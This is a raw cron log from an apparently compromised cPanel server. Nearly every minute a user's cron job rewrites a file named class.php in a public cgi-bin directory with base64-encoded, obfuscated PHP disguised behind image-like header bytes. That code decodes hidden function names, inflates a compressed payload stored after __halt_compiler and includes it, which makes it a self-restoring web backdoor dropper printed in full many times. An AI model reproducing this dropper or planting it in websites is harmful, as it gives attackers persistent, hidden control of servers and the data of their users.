Nov 13 02:49:01 server CROND[28620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:50:01 server CROND[29515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:50:01 server CROND[29522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 02:50:01 server CROND[29517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:50:01 server CROND[29524]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 02:50:01 server CROND[29523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:51:01 server CROND[30499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:52:01 server CROND[31484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:53:01 server CROND[32491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:54:01 server CROND[899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:55:01 server CROND[1786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:55:01 server CROND[1788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:55:01 server CROND[1787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:56:01 server CROND[2648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:57:01 server CROND[3499]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 02:57:01 server CROND[3500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:58:01 server CROND[4360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:59:01 server CROND[5200]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Nov 13 02:59:01 server CROND[5201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:00:01 server CROND[6096]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 03:00:01 server CROND[6098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:00:01 server CROND[6099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:00:01 server CROND[6097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:01:01 server CROND[7037]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 03:01:01 server CROND[7038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:01:01 server run-parts(/etc/cron.hourly)[7037]: starting 0anacron
Nov 13 03:01:01 server anacron[7051]: Anacron started on 2025-11-13
Nov 13 03:01:01 server run-parts(/etc/cron.hourly)[7053]: finished 0anacron
Nov 13 03:01:01 server anacron[7051]: Will run job `cron.daily' in 21 min.
